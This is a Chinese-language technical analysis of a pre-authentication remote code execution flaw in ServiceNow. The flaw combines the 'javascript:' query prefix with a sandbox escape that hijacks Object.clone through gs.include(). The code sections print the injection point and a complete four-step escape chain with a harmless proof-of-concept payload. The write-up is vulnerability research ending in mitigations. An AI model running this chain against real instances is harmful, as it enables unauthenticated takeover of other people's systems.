ServiceNow 的 polyfill 機制竟是沙箱破口?
1. 簡介
這份技術研究報告分析
ServiceNow 平台
中一個重大的預先驗證
遠端程式碼執行(Remote Code Executio, RCE)漏洞
。該漏洞源於結構化 API 查詢中意外執行了 JavaScript,特別是透過
javascript:
前綴。儘管 ServiceNow 實作了嚴格的指令碼沙箱來緩解這類威脅,報告詳細說明了一種
進階的沙箱逃逸(Sandbox escape)技術
。攻擊者利用
prototype pollution
以及
指令碼引入機制(script inclusion mechanism)
的行為特性,可以繞過沙箱限制並達成任意程式碼執行。分析完全聚焦於技術架構、漏洞機制以及攻擊流程。
2. 技術背景與漏洞分析
ServiceNow 提供
GlideRecord
作為伺服器端資料存取 API,其採用物件導向方式建構查詢條件,並支援動態條件評估機制。一個值得注意且曾被記錄的功能是,可以在查詢過濾器中的值前面加上
javascript:
前綴,藉此執行 JavaScript 表達式 [1]。雖然這項功能最初的目的是用於動態查詢建構(例如即時計算日期或串接字串),但當未經妥善清理(Sanitization)或驗證(Validation)的使用者輸入進入預先驗證端點時,就會形成嚴重漏洞。
舉例來說,
assessment_thanks.do
端點接受
sysparm_assessable_type
參數,並直接將其傳入 GlideRecord 查詢。當攻擊者注入帶有
javascript:
的 Payload 時,平台會嘗試執行它。然而,ServiceNow 會在額外的指令碼沙箱(即
GlideSystemSandbox
的執行實體,而非標準的
GlideSystem
)中執行這些查詢,藉此減輕風險 [1]。這個第二層沙箱被設計用來嚴格控制執行環境。它會限制存取強大的全域物件(如
gs
),限制 Java 類別實體化(例如封鎖
SecurelyAccess
與
SNCProbe
),在嚴格的存取控制清單(Access Control List, ACL)下強制資料表唯讀,並且明確禁止使用
eval
或
new Function()
,以防止簡單的沙箱逃逸 [1]。
3. 沙箱逃逸機制
儘管有嚴格的限制,沙箱在如何將 script include 載入執行環境方面仍存在一個邏輯缺陷。沙箱允許使用
gs.include()
函式來載入預先安裝的函式庫,這是正當應用程式邏輯所必需的。在引入過程中,ServiceNow 會建立一個新的評估環境,暫時解除沙箱限制,以便正確解析、編譯並載入 script 函式 [1]。這樣的設計是因為 script include 通常需要完整存取環境才能正確初始化。
攻擊的核心在於透過 prototype 操作來操控這個引入過程。攻擊者無法在沙箱內直接定義函式或使用
Function
建構子,因為 Rhino 引擎解析器會丟出
SecurityException
。但他們可以覆寫在 script 引入過程中被呼叫的全域物件。ServiceNow script include 中一個常見的模式是使用
Object.extendsObject
,這是一個 polyfill,內部會呼叫
Object.clone
來複製父類別的 prototype [1]。
攻擊者可以使用
Object.defineProperty
繞過
Object
prototype 的密封狀態(sealed state),重新定義
Object.clone
使其指向
Function
建構子。這個建構子可以間接透過
Class.create.constructor
取得,而這種存取方式不會像直接存取那樣被封鎖。同時,攻擊者可以將目標類別(例如
AbstractAjaxProcessor
)的
prototype
設為惡意 Payload 字串。當觸發
gs.include()
來引入一個繼承此目標類別的 script 時,被劫持的
Object.clone
就會以攻擊者的 Payload 作為參數執行。這實際上等於在沙箱限制之外執行了
new Function(payload)
,並回傳一個可呼叫的函式,攻擊者接著可以呼叫該函式來達成任意程式碼執行 [1]。
4. 攻擊流程與架構
下圖說明了逐步的攻擊流程,展示攻擊者如何透過 script 引入機制,從受限的沙箱環境轉變為完整的任意程式碼執行。
5. 程式碼分析
以下從主要研究中擷取的程式碼片段展示了漏洞的機制與沙箱逃逸方式。程式碼區塊內提供了詳細註解,以釐清執行流程以及被跨越的具體安全邊界。
5.1. 初始漏洞觸發
此片段顯示
javascript:
前綴如何在標準 GlideRecord 查詢中被執行,證明了最初的注入點。平台在將字串串接作為查詢過濾器之前,會動態評估該字串,顯示使用者控制的資料可以在預先驗證環境中觸發 JavaScript 執行。
- // The attacker injects a javascript: prefix into the query parameter.
- // ServiceNow evaluates 'wal' + 'ter' to 'walter' before executing the query.
- // This demonstrates that user-controlled data can trigger JS evaluation.
- var gr = new GlideRecord('sys_user');
- gr.addQuery('active', 'true');
- gr.addQuery('email', '>', "javascript:'wal' + 'ter'");
- gr.query();
- while (gr.next()) {
- gs.print(gr.user_name + ' : ' + gr.email);
- }
5.2. 沙箱對函式建立的限制
嘗試在沙箱內直接定義函式或使用建構子會導致安全性例外。這凸顯了間接逃逸方法的必要性,因為 Rhino 引擎解析器會主動封鎖傳統的函式定義語法以及對
Function
建構子的直接存取。
- // Direct function definition is blocked by the sandbox parser.
- // The Rhino engine throws a SecurityException for invalid function definition.
- function x() {}
- // Error: java.lang.SecurityException: Invalid function definition
- // Accessing the constructor is also restricted when called directly.
- gs.print(escape.constructor)
- // Error: Security restricted: Sandbox: using Function is restricted by security policy!
5.3. 識別可利用元件:Object.extendsObject
這個
polyfill
常用於 ServiceNow script include 中來模擬類別繼承。它會逐一處理來源物件並將屬性複製到目標物件。關鍵在於它會呼叫
Object.clone(destination.prototype)
,這成為劫持的主要目標,因為它會在我們可以部分控制的物件上執行函式呼叫。
- // This is the standard polyfill used in ServiceNow script includes.
- // It iterates over the source object and copies properties to the destination.
- // Crucially, it calls Object.clone(destination.prototype), which we can manipulate.
- Object.extendsObject = function(destination, source) {
- destination = Object.clone(destination.prototype);
- for (var property in source) {
- destination[property] = source[property];
- }
- return destination;
- }
5.4. 沙箱逃逸 Payload
這是最終的攻擊鏈。它重新定義了
Object.clone
並將 Payload 注入 prototype,強制 script loader 執行惡意程式碼。此處使用
Object.defineProperty
至關重要,這樣才能繞過
Object.clone
屬性預設的密封狀態,讓攻擊者可以用原生的
Function
建構子來取代它。
- // Step 1: Redefine Object.clone to be the Function constructor.
- // Class.create.constructor resolves to the native Function constructor.
- Object.defineProperty(Object, 'clone', {value: Class.create.constructor});
- // Step 2: Inject the malicious payload into the prototype of a known class.
- // This payload will be passed as the argument to the hijacked Object.clone.
- Object.defineProperty(AbstractAjaxProcessor, 'prototype', {value: "GlideController().evaluateAsObject('gs.addInfoMessage(7*7)')"});
- // Step 3: Trigger the script inclusion.
- // This calls Object.extendsObject, which in turn calls our hijacked Object.clone.
- gs.include('ItemViewElementsProvider');
- // Step 4: Execute the newly created function to achieve RCE.
- ItemViewElementsProvider.prototype();
6. 結論
ServiceNow 中的預先驗證 RCE 漏洞代表了動態查詢評估與沙箱強制執行之間邊界的一個重大缺陷。雖然
javascript:
過濾器功能本身就具有風險,但真正的失敗在於沙箱無法安全地隔離 script 引入機制。透過利用
gs.include()
過程中對全域物件操作的信任,攻擊者可以繞過所有限制。緩解措施不僅需要在未驗證環境中封鎖
javascript:
前綴,還需要強化 script 評估環境,以防止對核心物件(如
Object.clone
)進行 prototype 操作。